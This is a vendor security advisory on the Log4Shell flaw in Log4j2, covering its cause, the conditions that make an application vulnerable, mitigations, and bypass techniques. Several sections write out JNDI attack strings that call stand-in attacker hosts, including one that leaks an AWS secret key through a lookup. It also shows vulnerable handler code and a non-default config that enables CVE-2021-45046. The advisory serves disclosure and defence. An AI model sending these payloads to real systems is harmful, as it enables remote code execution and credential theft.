Update 12/14/2021 - Added explanation about serialized Java objects bypass in Appendix B

Update 12/15/2021 - Added LOG4J_FORMAT_MSG_NO_LOOKUPS mitigation bypass technique by using CVE-2021-45046 in Appendix C

Last Thursday, a researcher from the Alibaba Cloud Security Team dropped a zero-day remote code execution exploit on Twitter, targeting the extremely popularlog4jlogging framework for Java (specifically, the 2.x branch called Log4j2). The vulnerability was originally discovered and reported to Apache by the Alibaba cloud security team on November 24th. MITRE assignedCVE-2021-44228to this vulnerability, which has since been dubbedLog4Shellby security researchers.

JFrog Releases OSS Tools for Identifying Log4J Utilization & Risk Get the Scanning Tools

Since December 9th, the vulnerability has been reported to be massively exploited in the wild, due to the fact that it is trivially exploitable (weaponized PoCs are available publicly) and extremely popular, and got a wide coverage on media and social networks.

In this technical blog post, we will clarify the exploitation vectors for this issue, provide accurate research-backed novel information on exactly what is vulnerable (as some reports have been inaccurate), suggest remediations for vendors that cannot easily upgrade their log4j version and answer some burning questions that we've been asked on this vulnerability (such as the efficacy of some suggested mitigations floating around in the last couple of days).

Note: JFrog products are not affected, as they are not using the log4j-core package.

What causes the Log4j Log4Shell vulnerability?

Log4j2 supports by default a logging feature called "Message Lookup Substitution". This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings. For example, logging the string Running ${java:runtime}will yield an output similar to:

Running Java version 1.7.0_67

It has been discovered that one of the lookup methods, specifically the JNDIlookup paired with the LDAPprotocol, will fetch a specified Java class from a remote sourceand deserialize it, executing some of the class's code in the process.

This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string.

The most common substitution string that takes advantage of this issue will look similar to:

${jndi:ldap://somedomain.com}

Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) -

${jndi:ldaps://somedomain.com}${jndi:rmi://somedomain.com}${jndi:dns://somedomain.com}(Allows detecting vulnerable servers, does not lead to code execution.)

Additional exploit strings that try to bypass WAF solutionscan be found here.

The basic attack flow can be summarized by the following diagram:

Why is Log4Shell so dangerous?

The vulnerability, which received the highest CVSS score possible - 10.0- is extremely dangerous due to a number of factors:

  1. Exploitation of the vulnerability is trivial and persistent, with tons ofweaponized exploits available on GitHuband other public sources.
  2. Log4j2 is one of the most popular Java logging frameworks. There are currentlyalmost 7,000Maven artifacts that depend on log4j-core (the vulnerable artifact), and there are countless others Java projects that use it.
  3. The vulnerability can easily be used in a drive-by-attack scenario by bombarding random HTTP servers with requests similar to:

GET / HTTP/1.1

Host: somedomain.com

User-Agent: ${jndi:ldap://attacker-srv.com/foo}

Or alternatively, a specific webapp can be brute-forced by filling all available HTML input fields with the payload string, using automated tools such asXSStrike.

4. Although the vulnerability is context-dependent, since arbitrary user input must reach one of the Log4j2 logging functions (see next section), this scenario is extremely common. In most logging scenarios, part of the log message contains input from the user. Such input is rarely sanitized since it is considered to be extremely safe.

When exactly is the Log4j vulnerability exploitable?

All of the following conditions must apply in order for a specific Java application to be vulnerable:

  • The Java application uses log4j (Maven packagelog4j-core) version 2.0.0-2.12.1 or 2.13.0-2.14.1
    • Version 2.12.2 is not vulnerable, since it received backported fixes from 2.16.0.
  • A remote attacker can cause arbitrary strings to be logged, via one of the logging APIs - logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logger.warn().
  • (on some machines) The Java JRE / JDK version in use is older than the following versions:
    • 6u211
    • 7u201
    • 8u191
    • 11.0.1

This is due to the fact that later versions set the JVM property com.sun.jndi.ldap.object.trustURLCodebaseto falseby default, which disables JNDI loading of classes from arbitrary URL code bases.
Note that relying only on a new Java version as protection against this vulnerability is risky, since the vulnerability may still be exploited on machines that contain certain "gadget" classes in the classpath of the vulnerable application. See Appendix B - "Exploiting Log4Shell in newer Java versions."

  • No Log4Shell-specific mitigations have been applied (see the next "Mitigations" section).
Are JFrog products vulnerable?

It's important to note that JFrog Security has validated that JFrog Platform solutions themselves are not affected, as no products, including Artifactory, Xray, Distribution, Insight, Access or Mission Control, are using the log4j-core package.

I'm using the log4j-api package, am I vulnerable?

Note that some advisories claimed theMaven package log4j-apiwas vulnerable to this issue. JFrog's security research team looked into this claim and concluded that log4j-api (by itself) is not vulnerable. This is due to the lack of JndiLookupfunctionality, and can be easily seen by trying to trigger the vulnerable code.

Running this code with only log4j-api installed yielded the following output:

ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...

When running the same code with the SimpleLoggerclass, the lookup string is logged verbatim, but no lookup code is triggered (since it does not exist.)

How can I completely fix the Log4j Log4shell issue?

The best fix for this issue would be to upgrade your log4j dependencies to version2.15.0, which resolved the issue in several layers and improved the overall security of log4j.

As an additional layer of protection, we also recommend setting the LOG4J_FORMAT_MSG_NO_LOOKUPSenvironment variable globally (see next section).

Can I mitigate the Log4shell issue without upgrading?

Although we recommend fixing the issue completely by upgrading the log4j version to a fixed version, it is possible to completely mitigate the issue without upgrading:

Method 1: For log4j 2.10.0 and later versions - Disabling lookups:

Update- This mitigation method can be bypassed in extremely rare non-default configurations, via CVE-2021-45046. SeeAppendix Cfor more information.We still recommend vendors that cannot upgrade to a newer Log4j2 version to use this mitigation method, since CVE-2021-45046 is currently not exploitable in default configurations.Mitigation method 2 (removing the vulnerable class) is not affected by CVE-2021-45046 and can still be applied.

If using log4j 2.10.0 or any later version, we recommend disabling message lookups globally by setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPSto trueby executing this command before Java applications are loaded in one of the system's init scripts:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This can also be done system-wide by editing the /etc/environmentfile and adding:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

This method can be used as an additional protection layerin case you suspect not all log4j dependencies have been properly updated, and even to protect against third-party Java packages that depend/embed a vulnerable version of log4j and have not been properly patched yet.

Alternatively, lookups can be disabled for a specific invocation of the JVM by adding the following command-line flag when running the vulnerable Java application: ‐Dlog4j2.formatMsgNoLookups=True

For example -

java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar

Method 2 - For older log4j versions: removing the vulnerable class

When using an older log4j version than 2.10.0, it is possible to remove theJndiLookupclass from any Java applications by executing this command:

find ./ -type f -name "log4j-core-*.jar"-exec zip -q -d "{}"org/apache/logging/log4j/core/lookup/JndiLookup.class ;

This will recursively find all log4j-core JAR files, starting from the current directory, and remove the vulnerableJndiLookupclass from them. For full coverage, the command may be executed from the root directory of your project or server.

Note: This method is recommended only as a last resort since it is possible that the vulnerable JndiLookupclass is embedded in recursive JAR files or in locations that the zip command is not accessible to. When choosing this method, it is highly recommended to verify manually that no JndiLookupclasses are available to any Java application.

How can I use JFrog Xray to detect the Log4shell vulnerability?

Xray customers can scan artifacts as usual for detecting CVE-2021-44228. As always this can be done through CI/CD.

The JFrog CLI:

Or the JFrog IDE plugin:

Appendix A - Vulnerable Example

Example application that will be vulnerable to remote exploitation (fromLunaSec's advisory):

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;importjava.io.*;importjava.sql.SQLException;importjava.util.*;publicclassVulnerableLog4jExampleHandlerimplementsHttpHandler{ staticLoggerlog= LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.* @paramheHTTP Request Object*/ publicvoidhandle(HttpExchangehe) throwsIOException{ StringuserAgent= he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:{}", userAgent); Stringresponse= "Hello There, "+ userAgent + "!"; he.sendResponseHeaders(200, response.length()); OutputStreamos= he.getResponseBody(); os.write(response.getBytes()); os.close();}}
Appendix B - Exploiting Log4Shell in newer Java versions Method 1 - Abusing other message lookups

Although JNDI remote class loading is disabled in newer Java versions, the message lookup mechanism itself still works, and can be abused for various purposes:

  1. As mentioned before, using a string such as ${jndi:dns://dnsserver.com/somedomain}will cause the victim to send a DNS query to dnsserver.com (querying about the somedomain DNS record). This can be used to detect vulnerable log4j instances, tunnel back data or even as a DDoS attack (given enough vulnerable services)
  2. There are several lookup substitutionsthat reveal sensitive information from the victim machine. Most prominently, using the attack string ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com/foo} (with any protocol type) may leak the machine's secret AWS access key, if this environment variable was exported to the vulnerable log4j process. Naturally, the attack string can be modified to leak any environment variable present in the vulnerable log4j process. Other interesting information-leaking lookups include:
    1. ${main:x} - leak the value of command line argument #x, which may contain sensitive data such as passwords or access keys passed through the command line.
    2. ${sys:propname} - leak the value of aJava System Property. For example this can be used to leak the current username (user.name):
Method 2 - Abusing factory classes in the local classpath

As thoroughly explained inthis Veracode blog post, there are ways to exploit JNDI injections even on newer versions of Java, where remote deserializations are disabled.

For example, if the org.apache.naming.factory.BeanFactoryclass (which is usually shipped with Apache Tomcat servers) is available in the classpath of the vulnerable application that uses log4j, then the Log4Shell vulnerability can be exploited for remote code execution, regardless of the underlying JRE/JDK version.

This is due to the fact that even though newer versions of Java will not deserialize remote arbitrary classes, the attacker can still control the factory classand its attributes, through the supplied JNDI Reference:

The remote attacker cannot supply an arbitrary factory class, but can reuse any factory class in the vulnerable program's classpath as a gadget.

A useable factory class would have the following properties:

  • Exist in the vulnerable program's classpath
  • Implement the ObjectFactoryinterface
  • Implement the getObjectInstancemethod
  • Perform dangerous actions with the Reference's attributes

The researchers identified that the BeanFactoryclass fits this bill, due to its dangerous use of Reflection - Arbitrary Java code objects are created, based solely on the Reference's string attributes, which are attacker controlled.

The blog references full exploit code for hosting an RMI server with the proper Reference that can be used to exploit Log4Shell in newer Java versions, on machines where the BeanFactoryclass is available in the vulnerable application's classpath.

Note that the Log4Shell attack string for using such a server will be similar to -

${jndi:rmi://attacker-srv.com/foo}

However, the provided RMI server can also be converted to a ldapor ldapsserver, in which case the attack string will change accordingly.

Since other "factory gadgets" such as the BeanFactoryclass may be found in the future, we highly suggest not relying on a newer Java version as the only line of defense against Log4Shell, and upgrading log4j and/or implementing some of our proposed mitigations.

Method 3 - Using serialized Java Objects with local gadget classes

As mentioned above, the naive attack vector will instruct the vulnerable Log4j2-based application to retrieve a remote serialized class, usually via LDAP, and load it - allowing the attacker full control on the contents of the class.

However, LDAP also supports sending a serialized Java Object (instance of a class) in the LDAP request itself, by using the javaSerializedData attribute.
Deserializing the Object is only possible if the Object's class is available in the current classpath (a list of directories and JAR files that's searched for classes).
An important distinction is that when deserializing an object, the trustURLCodebasesecurity mitigation has no effect, since that specific mitigation only prevents loading of new codebases.

It is well-known that some specific Objects can directly lead to remote code execution when they are deserialized - the classes that these Objects are based on are colloquially called "gadgets".
For example - the ysoserial proof-of-concept tool aggregates some of these well known gadgets, and allows generation of Objects with arbitrary code execution payloads.

Therefore - an attacker that knows that a specific "gadget" class is present in the vulnerable application's classpath, can generate such an Object, send it through LDAP and gain code execution when it is deserialized, regardless of the javaSerializedData attribute.

Furthermore - due to the information-leaking properties of Log4Shell mentioned above, an attacker may be able to build a fully-automated tool that first queries specific system properties from the vulnerable application (through the use of recursive lookups), determine if any gadget classes are present in the vulnerable application and then build a target-specific payload to gain remote code execution.

Until today, we have not seen such a tool publicly available or used in the wild, but unfortunately we believe that this malicious campaign is still far from over.

Appendix C - Bypassing the LOG4J_FORMAT_MSG_NO_LOOKUPSmitigation by using CVE-2021-45046

We would like to preface this section by saying that the prerequisites for performing this bypass are highly unlikely, and as such we still consider the LOG4J_FORMAT_MSG_NO_LOOKUPSmitigation effective in the vast majority of cases.

Due to the disclosure of CVE-2021-45046, it was revealed that one of the suggested mitigation techniques, namely - disabling the message lookup mechanism, can be bypassed in certain non-default configurations.

The bottom line is- if CVE-2021-45046 can be exploited onLog4j2 2.10.0 - 2.14.1(inclusive), it allows the attacker to bypass both the LOG4J_FORMAT_MSG_NO_LOOKUPSenvironment variable mitigation, and the log4j2.noFormatMsgLookupsystem property mitigation.

So - what are the conditions for the exploitation of CVE-2021-45046?

(Credit to community projectlog4shell-vulnerable-appthat implemented similar example conditions)

  1. A new (non-default) pattern layout must be added to the Log4j2 configuration. The pattern layout must use a Context Lookup (${ctx:). An example of a vulnerable log4j2.propertiesfile -

    # vulnerable in 2.14.1 even with ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true
    appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
    

    Note that theLog4j2 configurationcan be specified in many different ways, but in any case there are no default Context Lookup pattern layouts -

  1. The vulnerable application must use a Thread Context Map, where the attacker has control of the input data, for example:

    public void handle(HttpExchange he) throws IOException {
        // userAgent is attacker-controlled
        String userAgent = he.getRequestHeader("User-Agent"); 
         
        // Note that 1st argument matches the variable name from the configured pattern
        ThreadContext.put("useragent", userAgent); 
         
        // The log message itself doesn't need to contain any message lookup
        log.info("Received a request with User-Agent");
        ...
    

In case both of these conditions exist, an attacker can send an attack token "as usual" - for example in this case, the attacker may send an HTTP request such as -


GET / HTTP/1.1Host: somedomain.comUser-Agent: ${jndi:ldap://attacker-srv.com/foo}

and code execution will occur, despite the LOG4J_FORMAT_MSG_NO_LOOKUPSmitigation.To clarify again, the above is true for Log4j2 2.10.0 - 2.14.1, and not for version 2.15.0 and later, which implements additional mitigations by default.

Even though CVE-2021-45046 is discussed mostly with regards to version 2.15.0, its impact is much lower on 2.15.0. We will discuss the exact impact of CVE-2021-45046 on 2.15.0 in a separate blogpost.

JFrog Releases OSS Tools for Identifying Log4J Utilization & Risk Get the Scanning Tools

Attachments

  • Original Link
  • Original Document
  • Permalink

Disclaimer

JFrog Ltd. published this content on 15 December 2021 and is solely responsible for the information contained therein. Distributed by Public, unedited and unaltered, on 16 December 2021 18:58:06 UTC.